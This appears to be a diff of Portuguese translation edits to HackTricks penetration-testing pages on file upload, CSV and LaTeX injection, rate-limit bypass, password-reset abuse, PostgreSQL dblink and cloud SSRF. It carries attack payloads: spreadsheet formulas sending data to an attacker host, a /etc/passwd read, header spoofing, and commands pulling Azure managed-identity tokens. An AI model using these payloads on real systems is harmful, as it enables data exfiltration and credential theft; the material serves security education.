 Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
 
-## Upload de Arquivo Zip/Tar Descompactado Automaticamente
+## Upload de Arquivo Zip/Tar Automaticamente descompactado
 
 Se você puder fazer upload de um ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:
 
@@ -253,7 +253,7 @@ create_zip()
 
 Para mais detalhes **verifique o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
+1.  **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados pela variável `$_REQUEST`.
 
 ```php
 <?php
@@ -289,7 +289,7 @@ pop graphic-context
 ```
 ## Embedding PHP Shell on PNG
 
-Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
+Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
 
 Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
 
@@ -299,7 +299,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
 
 Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
 
-A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
+A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
 
 Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
 
@@ -307,11 +307,11 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
 
 ### Upload valid JSONs like if it was PDF
 
-Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, simulando um arquivo PDF (técnicas deste **[blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não permitido, simulando um arquivo PDF (técnicas deste **[blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
 - **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (obter exemplo do post)
 - **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (obter exemplo do post)
-- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga analisar o conteúdo como um json e então dentro do JSON coloque a parte inicial de um PDF real e ele pensará que é um PDF
+- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga analisar o conteúdo como um json e então, dentro do JSON, coloque a parte inicial de um PDF real e ele pensará que é um PDF
 
 ## References
 

src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

@@ -9,7 +9,7 @@
 Se sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas** do Excel que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
 
 > [!CAUTION]
-> Hoje em dia, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele tome ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
+> Hoje em dia, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
 
 ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
 ```
@@ -35,7 +35,7 @@ Imagine uma violação de segurança em um sistema de Gestão de Registros de Es
 - Professores, sem saber da violação, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
 - O arquivo CSV, ao ser aberto, ainda contém o payload malicioso. Este payload aparece como um hyperlink clicável na planilha.
 3. **Acionando o Ataque:**
-- Um professor clica no hyperlink, acreditando que seja uma parte legítima dos detalhes do aluno.
+- Um professor clica no hyperlink, acreditando que é uma parte legítima dos detalhes do aluno.
 - Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
 4. **Registro dos Dados:**
 - O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
@@ -70,20 +70,20 @@ O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aq
 
 O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
 
-- **CONCATENATE**: Anexa strings juntas - `=CONCATENATE(A2:E2)`
+- **CONCATENATE**: Anexa strings - `=CONCATENATE(A2:E2)`
 - **IMPORTXML**: Importa dados de tipos de dados estruturados - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
 - **IMPORTFEED**: Importa feeds RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
 - **IMPORTHTML**: Importa dados de tabelas ou listas HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
 - **IMPORTRANGE**: Importa um intervalo de células de outra planilha - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
 - **IMAGE**: Insere uma imagem em uma célula - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
 
-## Injeção LaTeX
+## Injeção de LaTeX
 
 Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
 Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
 
 - **`--no-shell-escape`**: **Desabilita** o construto `\write18{command}`, mesmo que esteja habilitado no arquivo texmf.cnf.
-- **`--shell-restricted`**: Mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
+- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (**No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
 - **`--shell-escape`**: **Habilita** o construto `\write18{command}`. O comando pode ser qualquer comando de shell. Este construto normalmente é desabilitado por razões de segurança.
 
 No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar `--shell-restricted`.
@@ -106,7 +106,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
 \text{\line}
 \closein\file
 ```
-#### Ler arquivo com várias linhas
+#### Ler arquivo de várias linhas
 ```bash
 \newread\file
 \openin\file=/etc/passwd

src/pentesting-web/rate-limit-bypass.md

@@ -1,8 +1,8 @@
-# Bypass de Limite de Taxa
+# Rate Limit Bypass
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Técnicas de Bypass de Limite de Taxa
+## Técnicas de bypass de limite de taxa
 
 ### Explorando Endpoints Similares
 
@@ -14,7 +14,7 @@ Inserir bytes em branco como `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20`
 
 ### Manipulando a Origem do IP via Cabeçalhos
 
-Modificar cabeçalhos para alterar a origem do IP percebida pode ajudar a evitar limites de taxa baseados em IP. Cabeçalhos como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de várias instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de diferentes IPs.
+Modificar cabeçalhos para alterar a origem do IP percebida pode ajudar a evitar limitação de taxa baseada em IP. Cabeçalhos como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de várias instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de diferentes IPs.
 ```bash
 X-Originating-IP: 127.0.0.1
 X-Forwarded-For: 127.0.0.1
@@ -42,7 +42,7 @@ Fazer login em uma conta antes de cada tentativa, ou a cada conjunto de tentativ
 
 ### Utilizando Redes de Proxy
 
-Implantar uma rede de proxies para distribuir as solicitações entre vários endereços IP pode efetivamente contornar limites de taxa baseados em IP. Roteando o tráfego através de vários proxies, cada solicitação parece originar de uma fonte diferente, diluindo a eficácia do limite de taxa.
+Implantar uma rede de proxies para distribuir as solicitações entre vários endereços IP pode contornar efetivamente os limites de taxa baseados em IP. Roteando o tráfego através de vários proxies, cada solicitação parece originar de uma fonte diferente, diluindo a eficácia do limite de taxa.
 
 ### Dividindo o Ataque Entre Diferentes Contas ou Sessões
 
@@ -50,6 +50,10 @@ Se o sistema alvo aplica limites de taxa com base em cada conta ou sessão, dist
 
 ### Continue Tentando
 
-Observe que, mesmo que um limite de taxa esteja em vigor, você deve tentar ver se a resposta é diferente quando o OTP válido é enviado. Em [**este post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), o caçador de bugs descobriu que, mesmo que um limite de taxa seja acionado após 20 tentativas malsucedidas respondendo com 401, se o válido for enviado, uma resposta 200 foi recebida.
+Observe que, mesmo que um limite de taxa esteja em vigor, você deve tentar ver se a resposta é diferente quando o OTP válido é enviado. No [**este post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), o caçador de bugs descobriu que, mesmo que um limite de taxa seja acionado após 20 tentativas malsucedidas respondendo com 401, se o válido for enviado, uma resposta 200 foi recebida.
+
+### Ferramentas
+
+- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz é uma ferramenta de fuzzing projetada para testar e contornar WAFs e CDNs. Ao aproveitar recursos avançados, como User-Agent e valor de cabeçalho aleatórios, atrasos aleatórios, gerenciamento de múltiplas threads, fragmentação seletiva de listas de palavras e rotação de proxy Round Robin para cada fragmento, oferece uma solução robusta para profissionais de segurança que buscam identificar vulnerabilidades em aplicações web.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/registration-vulnerabilities.md

@@ -23,7 +23,7 @@ Verifique se você consegue descobrir quando um nome de usuário já foi registr
 ### Política de Senhas
 
 Ao criar um usuário, verifique a política de senhas (verifique se você pode usar senhas fracas).\
-Nesse caso, você pode tentar forçar a autenticação de credenciais.
+Nesse caso, você pode tentar forçar credenciais.
 
 ### Injeção de SQL
 
@@ -43,12 +43,12 @@ saml-attacks/
 
 ### Alterar Email
 
-Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode alterá-lo para emails arbitrários.
+Quando registrado, tente alterar o email e verifique se essa alteração é validada corretamente ou se pode alterá-lo para emails arbitrários.
 
 ### Mais Verificações
 
 - Verifique se você pode usar **emails descartáveis**
-- **Senha** **Longa** (>200) leva a **DoS**
+- **Senhas** **longas** (>200) levam a **DoS**
 - **Verifique limites de taxa na criação de contas**
 - Use username@**burp_collab**.net e analise o **callback**
 
@@ -72,7 +72,7 @@ Quando registrado, tente alterar o email e verifique se essa alteração é corr
 4. Procure uma URL de redefinição de senha com base no _cabeçalho host_ como: `https://attacker.com/reset-password.php?token=TOKEN`
 
 ### Redefinição de Senha Via Parâmetro de Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
-```powershell
+```bash
 # parameter pollution
 email=victim@mail.com&email=hacker@mail.com
 
@@ -88,7 +88,7 @@ email=victim@mail.com,hacker@mail.com
 email=victim@mail.com%20hacker@mail.com
 email=victim@mail.com|hacker@mail.com
 ```
-### IDOR em Parâmetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
+### IDOR em Parâmetros da API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
 
 1. O atacante deve fazer login com sua conta e ir para a funcionalidade **Alterar senha**.
 2. Inicie o Burp Suite e intercepte a solicitação.
@@ -114,7 +114,7 @@ Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o a
 ### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
 
 1. Acione um pedido de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
-2. Inspecione a resposta do servidor e verifique por `resetToken`
+2. Inspecione a resposta do servidor e verifique o `resetToken`
 3. Em seguida, use o token em uma URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
 
 ### Redefinição de Senha Via Colisão de Nome de Usuário <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
@@ -124,7 +124,7 @@ Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o a
 3. Use o token enviado para seu email e redefina a senha da vítima.
 4. Conecte-se à conta da vítima com a nova senha.
 
-A plataforma CTFd era vulnerável a esse ataque.\
+A plataforma CTFd foi vulnerável a este ataque.\
 Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
 
 ### Tomada de Conta Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
@@ -165,7 +165,7 @@ Hackerone relata a exploração deste bug\
 JSON Web Token pode ser usado para autenticar um usuário.
 
 - Edite o JWT com outro ID de Usuário / Email
-- Verifique a assinatura fraca do JWT
+- Verifique a assinatura JWT fraca
 
 {{#ref}}
 hacking-jwt-json-web-tokens.md

src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

@@ -1,4 +1,4 @@
-# Rede - Privesc, Scanner de Portas e Divulgação de Resposta de Desafio NTLM
+# Rede - Privesc, Scanner de Portas e divulgação de resposta de desafio NTLM
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -25,8 +25,8 @@ Outra possível má configuração consiste em algo como isto:
 ```
 host    all     all     127.0.0.1/32    trust
 ```
-Como permitirá que todos a partir do localhost se conectem ao banco de dados como qualquer usuário.\
-Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderia **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar:
+Como isso permitirá que todos do localhost se conectem ao banco de dados como qualquer usuário.\
+Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderá **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar:
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
 user=postgres
@@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
 ```
 ### Port Scanning
 
-Abusando `dblink_connect` você também poderia **procurar portas abertas**. Se essa \*\*função não funcionar, você deve tentar usar `dblink_connect_u()` pois a documentação diz que `dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação\_.
+Abusando `dblink_connect` você também poderia **procurar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()` pois a documentação diz que `dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação\_.
 ```sql
 SELECT * FROM dblink_connect('host=216.58.212.238
 port=443
@@ -73,7 +73,7 @@ Observe que **antes** de poder usar `dblink_connect` ou `dblink_connect_u`, voc
 ```
 CREATE extension dblink;
 ```
-### Caminho UNC - Divulgação de hash NTLM
+### UNC path - divulgação de hash NTLM
 ```sql
 -- can be used to leak hashes to Responder/equivalent
 CREATE TABLE test();

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -75,9 +75,9 @@ echo ""
 echo "EC2 Security Credentials"
 eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
 ```
-Como um exemplo de **credenciais IAM disponíveis publicamente** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
+Como um **exemplo de credenciais IAM disponíveis publicamente** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
 
-Você também pode verificar **credenciais de segurança EC2** públicas em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
+Você também pode verificar **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
 
 Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que o papel tenha permissões** para fazer.
 
@@ -94,7 +94,7 @@ Note o **aws_session_token**, isso é indispensável para o perfil funcionar.
 
 ### SSRF em credenciais do AWS ECS (Serviço de Contêiner)
 
-**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
+**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
 
 Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_, você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID>, você precisa ler a variável **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** dentro da máquina.\
 Você pode ser capaz de lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\
@@ -115,7 +115,7 @@ O **nome** das **variáveis de ambiente interessantes** são:
 - `AWS_SECRET_ACCESS_KEY`
 - `AWS_ACCES_KEY_ID`
 
-Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis através de SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
+Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis via SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
 
 > [!WARNING]
 > Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **stack trace** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
@@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
 ```
 ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
 
-Então, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
+Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
 
 ## GCP
 
@@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
 curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
 -H "Metadata-Flavor: Google"
 ```
-Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
+Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
 ```
 http://metadata.google.internal/computeMetadata/v1beta1/
 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@@ -323,13 +323,13 @@ curl http://169.254.169.254/metadata/v1.json | jq
 - Não deve **contém** um cabeçalho `X-Forwarded-For`
 
 > [!TIP]
-> Uma Azure VM pode ter 1 identidade gerenciada pelo sistema anexada e várias identidades gerenciadas pelo usuário. O que basicamente significa que você pode **impersonar todas as identidades gerenciadas anexadas a uma VM**.
+> Uma Azure VM pode ter anexada 1 identidade gerenciada pelo sistema e várias identidades gerenciadas pelo usuário. O que basicamente significa que você pode **impersonar todas as identidades gerenciadas anexadas a uma VM**.
 >
-> Por **padrão**, o endpoint de metadados usará a **MI atribuída ao sistema (se houver)**.
+> Ao solicitar um token de acesso para o endpoint de metadados, por padrão, o serviço de metadados usará a **identidade gerenciada atribuída ao sistema** para gerar o token, se houver alguma identidade gerenciada atribuída ao sistema. No caso de haver apenas **UMA identidade gerenciada atribuída ao usuário**, então esta será usada por padrão. No entanto, se não houver identidade gerenciada atribuída ao sistema e houver **múltiplas identidades gerenciadas atribuídas ao usuário**, então o serviço de metadados retornará um erro indicando que há múltiplas identidades gerenciadas e é necessário **especificar qual usar**.
 >
-> Infelizmente, não consegui encontrar nenhum endpoint de metadados indicando todas as MIs que uma VM tem anexadas.
+> Infelizmente, não consegui encontrar nenhum endpoint de metadados indicando todas as IAs que uma VM tem anexadas, então descobrir todas as identidades gerenciadas atribuídas a uma VM pode ser uma tarefa difícil do ponto de vista de uma Red Team.
 >
-> Portanto, para encontrar todas as MIs anexadas, você pode fazer:
+> Portanto, para encontrar todas as IAs anexadas, você pode fazer:
 >
 > - Obter **identidades anexadas com az cli** (se você já comprometeu um principal no locatário do Azure)
 >
@@ -357,7 +357,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
 > export VM_NAME=$(curl -s -H "Metadata:true" \
 >   "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
 >
-> # Tentar obter MIs anexadas
+> # Tentar obter IAs anexadas
 > curl -s -H "Authorization: Bearer $TOKEN" \
 >   "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
 > ```
@@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
 $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
 [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
 
-# Paths
+## Get management token
+(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
+
+## Get graph token
+(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
+
+## Get vault token
+(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
+
+## Get storage token
+(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
+
+
+# More Paths
 /metadata/instance?api-version=2017-04-02
 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
 /metadata/instance/compute/userData?api-version=2021-01-01&format=text
@@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
 {{#endtab}}
 
 {{#tab name="PS"}}
-```powershell
+```bash
 # Define the API version
 $API_VERSION = "2019-08-01"
 
@@ -572,7 +585,7 @@ Alibaba oferece endpoints para acessar metadados, incluindo IDs de instância e
 
 ## Kubernetes ETCD
 
-Kubernetes ETCD pode conter chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
+Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
 
 - `curl -L http://127.0.0.1:2379/version`
 - `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

src/pentesting-web/unicode-injection/unicode-normalization.md

@@ -9,7 +9,7 @@
 A normalização de Unicode é um processo que garante que diferentes representações binárias de caracteres sejam padronizadas para o mesmo valor binário. Este processo é crucial ao lidar com strings em programação e processamento de dados. O padrão Unicode define dois tipos de equivalência de caracteres:
 
 1. **Equivalência Canônica**: Caracteres são considerados canonicamente equivalentes se têm a mesma aparência e significado quando impressos ou exibidos.
-2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de forma diferente.
+2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de maneira diferente.
 
 Existem **quatro algoritmos de normalização de Unicode**: NFC, NFD, NFKC e NFKD. Cada algoritmo emprega técnicas de normalização canônica e de compatibilidade de maneira diferente. Para uma compreensão mais aprofundada, você pode explorar essas técnicas em [Unicode.org](https://unicode.org/).
 
@@ -31,9 +31,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 ```
 **Uma lista de caracteres equivalentes em Unicode pode ser encontrada aqui:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) e [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
 
-### Descoberta
+### Descobrindo
 
-Se você conseguir encontrar dentro de um webapp um valor que está sendo ecoado de volta, você pode tentar enviar **‘KELVIN SIGN’ (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for ecoado de volta**, então, algum tipo de **normalização Unicode** está sendo realizada.
+Se você conseguir encontrar dentro de um webapp um valor que está sendo retornado, você pode tentar enviar **‘KELVIN SIGN’ (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for retornado**, então, algum tipo de **normalização Unicode** está sendo realizada.
 
 Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` após **unicode** é `Leonishan`.
 
@@ -91,13 +91,13 @@ Note que, por exemplo, o primeiro caractere Unicode proposto pode ser enviado co
 
 ### Fuzzing Regexes
 
-Quando o backend está **verificando a entrada do usuário com uma regex**, pode ser possível que a **entrada** esteja sendo **normalizada** para a **regex** mas **não** para onde está sendo **usada**. Por exemplo, em um Open Redirect ou SSRF, a regex pode estar **normalizando a URL enviada** mas então **acessando-a como está**.
